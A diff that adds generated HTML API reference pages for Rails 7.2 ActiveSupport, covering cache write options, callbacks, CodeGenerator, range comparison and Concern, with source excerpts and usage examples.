+ +
+ +
+

+ + write_entry(key, entry) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache/strategy/local_cache.rb, line 52
+          def write_entry(key, entry)
+            @data[key] = entry
+            true
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Cache/WriteOptions.html b/src/7.2/classes/ActiveSupport/Cache/WriteOptions.html new file mode 100644 index 0000000000..1ee87ec74b --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Cache/WriteOptions.html @@ -0,0 +1,310 @@ +--- +title: ActiveSupport::Cache::WriteOptions +layout: default +--- +
+ +
+
+ +
+ +

Enables the dynamic configuration of Cache entry options while ensuring that conflicting options are not both set. When a block is given to ActiveSupport::Cache::Store#fetch, the second argument will be an instance of WriteOptions.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + expires_at() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 1089
+      def expires_at
+        @options[:expires_at]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + expires_at=(expires_at) + +

+ + +
+

Sets the Cache entry’s expires_at value. If an expires_in option was previously set, this will unset it since expires_at and expires_in cannot both be set.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 1096
+      def expires_at=(expires_at)
+        @options.delete(:expires_in)
+        @options[:expires_at] = expires_at
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + expires_in() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 1077
+      def expires_in
+        @options[:expires_in]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + expires_in=(expires_in) + +

+ + +
+

Sets the Cache entry’s expires_in value. If an expires_at option was previously set, this will unset it since expires_in and expires_at cannot both be set.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 1084
+      def expires_in=(expires_in)
+        @options.delete(:expires_at)
+        @options[:expires_in] = expires_in
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 1069
+      def version
+        @options[:version]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version=(version) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/cache.rb, line 1073
+      def version=(version)
+        @options[:version] = version
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/CachingKeyGenerator.html b/src/7.2/classes/ActiveSupport/CachingKeyGenerator.html new file mode 100644 index 0000000000..afe5bb838f --- /dev/null +++ b/src/7.2/classes/ActiveSupport/CachingKeyGenerator.html @@ -0,0 +1,158 @@ +--- +title: ActiveSupport::CachingKeyGenerator +layout: default +--- +
+ +
+
+ +
+ +

Caching Key Generator

+ +

CachingKeyGenerator is a wrapper around KeyGenerator which allows users to avoid re-executing the key generation process when it’s called using the same salt and key_size.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(key_generator) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/key_generator.rb, line 56
+    def initialize(key_generator)
+      @key_generator = key_generator
+      @cache_keys = Concurrent::Map.new
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + generate_key(*args) + +

+ + +
+

Returns a derived key suitable for use.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/key_generator.rb, line 62
+    def generate_key(*args)
+      @cache_keys[args.join("|")] ||= @key_generator.generate_key(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks.html b/src/7.2/classes/ActiveSupport/Callbacks.html new file mode 100644 index 0000000000..34f9feebf4 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks.html @@ -0,0 +1,234 @@ +--- +title: ActiveSupport::Callbacks +layout: default +--- +
+ +
+
+ +
+ +

Active Support Callbacks

+ +

Callbacks are code hooks that are run at key points in an object’s life cycle. The typical use case is to have a base class define a set of callbacks relevant to the other functionality it supplies, so that subclasses can install callbacks that enhance or modify the base functionality without needing to override or redefine methods of the base class.

+ +

Mixing in this module allows you to define the events in the object’s life cycle that will support callbacks (via ClassMethods#define_callbacks), set the instance methods, procs, or callback objects to be called (via ClassMethods#set_callback), and run the installed callbacks at the appropriate times (via run_callbacks).

+ +

By default callbacks are halted by throwing :abort. See ClassMethods#define_callbacks for details.

+ +

Three kinds of callbacks are supported: before callbacks, run before a certain event; after callbacks, run after the event; and around callbacks, blocks that surround the event, triggering it when they yield. Callback code can be contained in instance methods, procs or lambdas, or callback objects that respond to certain predetermined methods. See ClassMethods#set_callback for details.

+ +
class Record
+  include ActiveSupport::Callbacks
+  define_callbacks :save
+
+  def save
+    run_callbacks :save do
+      puts "- save"
+    end
+  end
+end
+
+class PersonRecord < Record
+  set_callback :save, :before, :saving_message
+  def saving_message
+    puts "saving..."
+  end
+
+  set_callback :save, :after do |object|
+    puts "saved"
+  end
+end
+
+person = PersonRecord.new
+person.save
+
+ +

Output:

+ +
saving...
+- save
+saved
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
CALLBACK_FILTER_TYPES=[:before, :after, :around].freeze
+ + + + + + + +

Instance Public methods

+ +
+

+ + run_callbacks(kind, type = nil) + +

+ + +
+

Runs the callbacks for the given event.

+ +

Calls the before and around callbacks in the order they were set, yields the block (if given one), and then runs the after callbacks in reverse order.

+ +

If the callback chain was halted, returns false. Otherwise returns the result of the block, nil if no callbacks have been set, or true if callbacks have been set but no block is given.

+ +
run_callbacks :save do
+  save
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/callbacks.rb, line 97
+    def run_callbacks(kind, type = nil)
+      callbacks = __callbacks[kind.to_sym]
+
+      if callbacks.empty?
+        yield if block_given?
+      else
+        env = Filters::Environment.new(self, false, nil)
+
+        next_sequence = callbacks.compile(type)
+
+        # Common case: no 'around' callbacks defined
+        if next_sequence.final?
+          next_sequence.invoke_before(env)
+          env.value = !env.halted && (!block_given? || yield)
+          next_sequence.invoke_after(env)
+          env.value
+        else
+          invoke_sequence = Proc.new do
+            skipped = nil
+
+            while true
+              current = next_sequence
+              current.invoke_before(env)
+              if current.final?
+                env.value = !env.halted && (!block_given? || yield)
+              elsif current.skip?(env)
+                (skipped ||= []) << current
+                next_sequence = next_sequence.nested
+                next
+              else
+                next_sequence = next_sequence.nested
+                begin
+                  target, block, method, *arguments = current.expand_call_template(env, invoke_sequence)
+                  target.send(method, *arguments, &block)
+                ensure
+                  next_sequence = current
+                end
+              end
+              current.invoke_after(env)
+              skipped.pop.invoke_after(env) while skipped&.first
+              break env.value
+            end
+          end
+
+          invoke_sequence.call
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate.html b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate.html new file mode 100644 index 0000000000..ca5c79c041 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate.html @@ -0,0 +1,77 @@ +--- +title: ActiveSupport::Callbacks::CallTemplate +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/InstanceExec0.html b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/InstanceExec0.html new file mode 100644 index 0000000000..c37de3173d --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/InstanceExec0.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::Callbacks::CallTemplate::InstanceExec0 +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/InstanceExec1.html b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/InstanceExec1.html new file mode 100644 index 0000000000..22b5e61fb3 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/InstanceExec1.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::Callbacks::CallTemplate::InstanceExec1 +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/InstanceExec2.html b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/InstanceExec2.html new file mode 100644 index 0000000000..dca023dcd2 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/InstanceExec2.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::Callbacks::CallTemplate::InstanceExec2 +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/MethodCall.html b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/MethodCall.html new file mode 100644 index 0000000000..e26be3a75b --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/MethodCall.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::Callbacks::CallTemplate::MethodCall +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/ObjectCall.html b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/ObjectCall.html new file mode 100644 index 0000000000..a9be62c2b1 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/ObjectCall.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::Callbacks::CallTemplate::ObjectCall +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/ProcCall.html b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/ProcCall.html new file mode 100644 index 0000000000..d0c20c6138 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/CallTemplate/ProcCall.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::Callbacks::CallTemplate::ProcCall +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/ClassMethods.html b/src/7.2/classes/ActiveSupport/Callbacks/ClassMethods.html new file mode 100644 index 0000000000..51233f3327 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/ClassMethods.html @@ -0,0 +1,414 @@ +--- +title: ActiveSupport::Callbacks::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + define_callbacks(*names) + +

+ + +
+

Define sets of events in the object life cycle that support callbacks.

+ +
define_callbacks :validate
+define_callbacks :initialize, :save, :destroy
+
+ +
Options
+
  • +

    :terminator - Determines when a before filter will halt the callback chain, preventing following before and around callbacks from being called and the event from being triggered. This should be a lambda to be executed. The current object and the result lambda of the callback will be provided to the terminator lambda.

    + +
    define_callbacks :validate, terminator: ->(target, result_lambda) { result_lambda.call == false }
    +
    + +

    In this example, if any before validate callbacks returns false, any successive before and around callback is not executed.

    + +

    The default terminator halts the chain when a callback throws :abort.

    +
  • +

    :skip_after_callbacks_if_terminated - Determines if after callbacks should be terminated by the :terminator option. By default after callbacks are executed no matter if callback chain was terminated or not. This option has no effect if :terminator option is set to nil.

    +
  • +

    :scope - Indicates which methods should be executed when an object is used as a callback.

    + +
    class Audit
    +  def before(caller)
    +    puts 'Audit: before is called'
    +  end
    +
    +  def before_save(caller)
    +    puts 'Audit: before_save is called'
    +  end
    +end
    +
    +class Account
    +  include ActiveSupport::Callbacks
    +
    +  define_callbacks :save
    +  set_callback :save, :before, Audit.new
    +
    +  def save
    +    run_callbacks :save do
    +      puts 'save in main'
    +    end
    +  end
    +end
    +
    + +

    In the above case whenever you save an account the method Audit#before will be called. On the other hand

    + +
    define_callbacks :save, scope: [:kind, :name]
    +
    + +

    would trigger Audit#before_save instead. That’s constructed by calling #{kind}_#{name} on the given instance. In this case β€œkind” is β€œbefore” and β€œname” is β€œsave”. In this context :kind and :name have special meanings: :kind refers to the kind of callback (before/after/around) and :name refers to the method on which callbacks are being defined.

    + +

    A declaration like

    + +
    define_callbacks :save, scope: [:name]
    +
    + +

    would call Audit#save.

    +
+ +
Notes
+ +

names passed to define_callbacks must not end with !, ? or =.

+ +

Calling define_callbacks multiple times with the same names will overwrite previous callbacks registered with set_callback.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/callbacks.rb, line 901
+        def define_callbacks(*names)
+          options = names.extract_options!
+
+          names.each do |name|
+            name = name.to_sym
+
+            ([self] + self.descendants).each do |target|
+              target.set_callbacks name, CallbackChain.new(name, options)
+            end
+
+            module_eval <<-RUBY, __FILE__, __LINE__ + 1
+              def _run_#{name}_callbacks(&block)
+                run_callbacks #{name.inspect}, &block
+              end
+
+              def self._#{name}_callbacks
+                get_callbacks(#{name.inspect})
+              end
+
+              def self._#{name}_callbacks=(value)
+                set_callbacks(#{name.inspect}, value)
+              end
+
+              def _#{name}_callbacks
+                __callbacks[#{name.inspect}]
+              end
+            RUBY
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset_callbacks(name) + +

+ + +
+

Remove all set callbacks for the given event.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/callbacks.rb, line 811
+        def reset_callbacks(name)
+          callbacks = get_callbacks name
+
+          self.descendants.each do |target|
+            chain = target.get_callbacks(name).dup
+            callbacks.each { |c| chain.delete(c) }
+            target.set_callbacks name, chain
+          end
+
+          set_callbacks(name, callbacks.dup.clear)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_callback(name, *filter_list, &block) + +

+ + +
+

Install a callback for the given event.

+ +
set_callback :save, :before, :before_method
+set_callback :save, :after,  :after_method, if: :condition
+set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }
+
+ +

The second argument indicates whether the callback is to be run :before, :after, or :around the event. If omitted, :before is assumed. This means the first example above can also be written as:

+ +
set_callback :save, :before_method
+
+ +

The callback can be specified as a symbol naming an instance method; as a proc, lambda, or block; or as an object that responds to a certain method determined by the :scope argument to define_callbacks.

+ +

If a proc, lambda, or block is given, its body is evaluated in the context of the current object. It can also optionally accept the current object as an argument.

+ +

Before and around callbacks are called in the order that they are set; after callbacks are called in the reverse order.

+ +

Around callbacks can access the return value from the event, if it wasn’t halted, from the yield call.

+ +
Options
+
  • +

    :if - A symbol or an array of symbols, each naming an instance method or a proc; the callback will be called only when they all return a true value.

    + +

    If a proc is given, its body is evaluated in the context of the current object. It can also optionally accept the current object as an argument.

    +
  • +

    :unless - A symbol or an array of symbols, each naming an instance method or a proc; the callback will be called only when they all return a false value.

    + +

    If a proc is given, its body is evaluated in the context of the current object. It can also optionally accept the current object as an argument.

    +
  • +

    :prepend - If true, the callback will be prepended to the existing chain rather than appended.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/callbacks.rb, line 737
+        def set_callback(name, *filter_list, &block)
+          type, filters, options = normalize_callback_params(filter_list, block)
+
+          self_chain = get_callbacks name
+          mapped = filters.map do |filter|
+            Callback.build(self_chain, filter, type, options)
+          end
+
+          __update_callbacks(name) do |target, chain|
+            options[:prepend] ? chain.prepend(*mapped) : chain.append(*mapped)
+            target.set_callbacks name, chain
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + skip_callback(name, *filter_list, &block) + +

+ + +
+

Skip a previously set callback. Like set_callback, :if or :unless options may be passed in order to control when the callback is skipped.

+ +

Note: this example uses PersonRecord and #saving_message, which you can see defined here

+ +
class Writer < PersonRecord
+  attr_accessor :age
+  skip_callback :save, :before, :saving_message, if: -> { age > 18 }
+end
+
+ +

When if option returns true, callback is skipped.

+ +
writer = Writer.new
+writer.age = 20
+writer.save
+
+ +

Output:

+ +
- save
+saved
+
+ +

When if option returns false, callback is NOT skipped.

+ +
young_writer = Writer.new
+young_writer.age = 17
+young_writer.save
+
+ +

Output:

+ +
saving...
+- save
+saved
+
+ +

An ArgumentError will be raised if the callback has not already been set (unless the :raise option is set to false).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/callbacks.rb, line 786
+        def skip_callback(name, *filter_list, &block)
+          type, filters, options = normalize_callback_params(filter_list, block)
+
+          options[:raise] = true unless options.key?(:raise)
+
+          __update_callbacks(name) do |target, chain|
+            filters.each do |filter|
+              callback = chain.find { |c| c.matches?(type, filter) }
+
+              if !callback && options[:raise]
+                raise ArgumentError, "#{type.to_s.capitalize} #{name} callback #{filter.inspect} has not been defined"
+              end
+
+              if callback && (options.key?(:if) || options.key?(:unless))
+                new_callback = callback.merge_conditional_options(chain, if_option: options[:if], unless_option: options[:unless])
+                chain.insert(chain.index(callback), new_callback)
+              end
+
+              chain.delete(callback)
+            end
+            target.set_callbacks name, chain
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/Conditionals.html b/src/7.2/classes/ActiveSupport/Callbacks/Conditionals.html new file mode 100644 index 0000000000..f61fe45324 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/Conditionals.html @@ -0,0 +1,67 @@ +--- +title: ActiveSupport::Callbacks::Conditionals +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/Conditionals/Value.html b/src/7.2/classes/ActiveSupport/Callbacks/Conditionals/Value.html new file mode 100644 index 0000000000..548631548e --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/Conditionals/Value.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::Callbacks::Conditionals::Value +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/Filters.html b/src/7.2/classes/ActiveSupport/Callbacks/Filters.html new file mode 100644 index 0000000000..0cc3d2872e --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/Filters.html @@ -0,0 +1,71 @@ +--- +title: ActiveSupport::Callbacks::Filters +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/Filters/After.html b/src/7.2/classes/ActiveSupport/Callbacks/Filters/After.html new file mode 100644 index 0000000000..338b306d33 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/Filters/After.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::Callbacks::Filters::After +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/Filters/Around.html b/src/7.2/classes/ActiveSupport/Callbacks/Filters/Around.html new file mode 100644 index 0000000000..4a37e29720 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/Filters/Around.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::Callbacks::Filters::Around +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Callbacks/Filters/Before.html b/src/7.2/classes/ActiveSupport/Callbacks/Filters/Before.html new file mode 100644 index 0000000000..8b8fad043b --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Callbacks/Filters/Before.html @@ -0,0 +1,60 @@ +--- +title: ActiveSupport::Callbacks::Filters::Before +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/CodeGenerator.html b/src/7.2/classes/ActiveSupport/CodeGenerator.html new file mode 100644 index 0000000000..895f025aed --- /dev/null +++ b/src/7.2/classes/ActiveSupport/CodeGenerator.html @@ -0,0 +1,73 @@ +--- +title: ActiveSupport::CodeGenerator +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/CodeGenerator/MethodSet.html b/src/7.2/classes/ActiveSupport/CodeGenerator/MethodSet.html new file mode 100644 index 0000000000..0c83e9180a --- /dev/null +++ b/src/7.2/classes/ActiveSupport/CodeGenerator/MethodSet.html @@ -0,0 +1,220 @@ +--- +title: ActiveSupport::CodeGenerator::MethodSet +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
METHOD_CACHES=Hash.new { |h, k| h[k] = Module.new }
+ + + + + + +

Class Public methods

+ +
+

+ + new(namespace) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/code_generator.rb, line 8
+      def initialize(namespace)
+        @cache = METHOD_CACHES[namespace]
+        @sources = []
+        @methods = {}
+        @canonical_methods = {}
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + apply(owner, path, line) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/code_generator.rb, line 28
+      def apply(owner, path, line)
+        unless @sources.empty?
+          @cache.module_eval("# frozen_string_literal: true\n" + @sources.join(";"), path, line)
+        end
+        @canonical_methods.clear
+
+        @methods.each do |as, canonical_name|
+          owner.define_method(as, @cache.instance_method(canonical_name))
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + define_cached_method(canonical_name, as: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/code_generator.rb, line 15
+      def define_cached_method(canonical_name, as: nil)
+        canonical_name = canonical_name.to_sym
+        as = (as || canonical_name).to_sym
+
+        @methods.fetch(as) do
+          unless @cache.method_defined?(canonical_name) || @canonical_methods[canonical_name]
+            yield @sources
+          end
+          @canonical_methods[canonical_name] = true
+          @methods[as] = canonical_name
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/CompareWithRange.html b/src/7.2/classes/ActiveSupport/CompareWithRange.html new file mode 100644 index 0000000000..7b4149cdce --- /dev/null +++ b/src/7.2/classes/ActiveSupport/CompareWithRange.html @@ -0,0 +1,188 @@ +--- +title: ActiveSupport::CompareWithRange +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + ===(value) + +

+ + +
+

Extends the default Range#=== to support range comparisons.

+ +
(1..5) === (1..5)  # => true
+(1..5) === (2..3)  # => true
+(1..5) === (1...6) # => true
+(1..5) === (2..6)  # => false
+
+ +

The native Range#=== behavior is untouched.

+ +
('a'..'f') === ('c') # => true
+(5..9) === (11) # => false
+
+ +

The given range must be fully bounded, with both start and end.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/range/compare_range.rb, line 16
+    def ===(value)
+      if value.is_a?(::Range)
+        is_backwards_op = value.exclude_end? ? :>= : :>
+        return false if value.begin && value.end && value.begin.public_send(is_backwards_op, value.end)
+        # 1...10 includes 1..9 but it does not include 1..10.
+        # 1..10 includes 1...11 but it does not include 1...12.
+        operator = exclude_end? && !value.exclude_end? ? :< : :<=
+        value_max = !exclude_end? && value.exclude_end? ? value.max : value.last
+        super(value.first) && (self.end.nil? || value_max.public_send(operator, last))
+      else
+        super
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + include?(value) + +

+ + +
+

Extends the default Range#include? to support range comparisons.

+ +
(1..5).include?(1..5)  # => true
+(1..5).include?(2..3)  # => true
+(1..5).include?(1...6) # => true
+(1..5).include?(2..6)  # => false
+
+ +

The native Range#include? behavior is untouched.

+ +
('a'..'f').include?('c') # => true
+(5..9).include?(11) # => false
+
+ +

The given range must be fully bounded, with both start and end.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/range/compare_range.rb, line 41
+    def include?(value)
+      if value.is_a?(::Range)
+        is_backwards_op = value.exclude_end? ? :>= : :>
+        return false if value.begin && value.end && value.begin.public_send(is_backwards_op, value.end)
+        # 1...10 includes 1..9 but it does not include 1..10.
+        # 1..10 includes 1...11 but it does not include 1...12.
+        operator = exclude_end? && !value.exclude_end? ? :< : :<=
+        value_max = !exclude_end? && value.exclude_end? ? value.max : value.last
+        super(value.first) && (self.end.nil? || value_max.public_send(operator, last))
+      else
+        super
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Concern.html b/src/7.2/classes/ActiveSupport/Concern.html new file mode 100644 index 0000000000..e04cfb3e55 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Concern.html @@ -0,0 +1,332 @@ +--- +title: ActiveSupport::Concern +layout: default +--- +
+ +
+
+ +
+ +

Active Support Concern

+ +

A typical module looks like this:

+ +
module M
+  def self.included(base)
+    base.extend ClassMethods
+    base.class_eval do
+      scope :disabled, -> { where(disabled: true) }
+    end
+  end
+
+  module ClassMethods
+    ...
+  end
+end
+
+ +

By using ActiveSupport::Concern the above module could instead be written as:

+ +
require "active_support/concern"
+
+module M
+  extend ActiveSupport::Concern
+
+  included do
+    scope :disabled, -> { where(disabled: true) }
+  end
+
+  class_methods do
+    ...
+  end
+end
+
+ +

Moreover, it gracefully handles module dependencies. Given a Foo module and a Bar module which depends on the former, we would typically write the following:

+ +
module Foo
+  def self.included(base)
+    base.class_eval do
+      def self.method_injected_by_foo
+        ...
+      end
+    end
+  end
+end
+
+module Bar
+  def self.included(base)
+    base.method_injected_by_foo
+  end
+end
+
+class Host
+  include Foo # We need to include this dependency for Bar
+  include Bar # Bar is the module that Host really needs
+end
+
+ +

But why should Host care about Barβ€˜s dependencies, namely Foo? We could try to hide these from Host directly including Foo in Bar:

+ +
module Bar
+  include Foo
+  def self.included(base)
+    base.method_injected_by_foo
+  end
+end
+
+class Host
+  include Bar
+end
+
+ +

Unfortunately this won’t work, since when Foo is included, its base is the Bar module, not the Host class. With ActiveSupport::Concern, module dependencies are properly resolved:

+ +
require "active_support/concern"
+
+module Foo
+  extend ActiveSupport::Concern
+  included do
+    def self.method_injected_by_foo
+      ...
+    end
+  end
+end
+
+module Bar
+  extend ActiveSupport::Concern
+  include Foo
+
+  included do
+    self.method_injected_by_foo
+  end
+end
+
+class Host
+  include Bar # It works, now Bar takes care of its dependencies
+end
+
+ +

Prepending concerns

+ +

Just like include, concerns also support prepend with a corresponding prepended do callback. module ClassMethods or class_methods do are prepended as well.

+ +

prepend is also used for any dependencies.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + class_methods(&class_methods_module_definition) + +

+ + +
+

Define class methods from given block. You can define private class methods as well.

+ +
module Example
+  extend ActiveSupport::Concern
+
+  class_methods do
+    def foo; puts 'foo'; end
+
+    private
+      def bar; puts 'bar'; end
+  end
+end
+
+class Buzz
+  include Example
+end
+
+Buzz.foo # => "foo"
+Buzz.bar # => private method 'bar' called for Buzz:Class(NoMethodError)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/concern.rb, line 209
+    def class_methods(&class_methods_module_definition)
+      mod = const_defined?(:ClassMethods, false) ?
+        const_get(:ClassMethods) :
+        const_set(:ClassMethods, Module.new)
+
+      mod.module_eval(&class_methods_module_definition)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + included(base = nil, &block) + +

+ + +
+

Evaluate given block in context of base class, so that you can write class macros here. When you define more than one included block, it raises an exception.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/concern.rb, line 158
+    def included(base = nil, &block)
+      if base.nil?
+        if instance_variable_defined?(:@_included_block)
+          if @_included_block.source_location != block.source_location
+            raise MultipleIncludedBlocks
+          end
+        else
+          @_included_block = block
+        end
+      else
+        super
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prepended(base = nil, &block) + +

+ + +
+

Evaluate given block in context of base class, so that you can write class macros here. When you define more than one prepended block, it raises an exception.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/concern.rb, line 175
+    def prepended(base = nil, &block)
+      if base.nil?
+        if instance_variable_defined?(:@_prepended_block)
+          if @_prepended_block.source_location != block.source_location
+            raise MultiplePrependBlocks
+          end
+        else
+          @_prepended_block = block
+        end
+      else
+        super
+      end
+    end
+ + πŸ”Ž See on GitHub + +
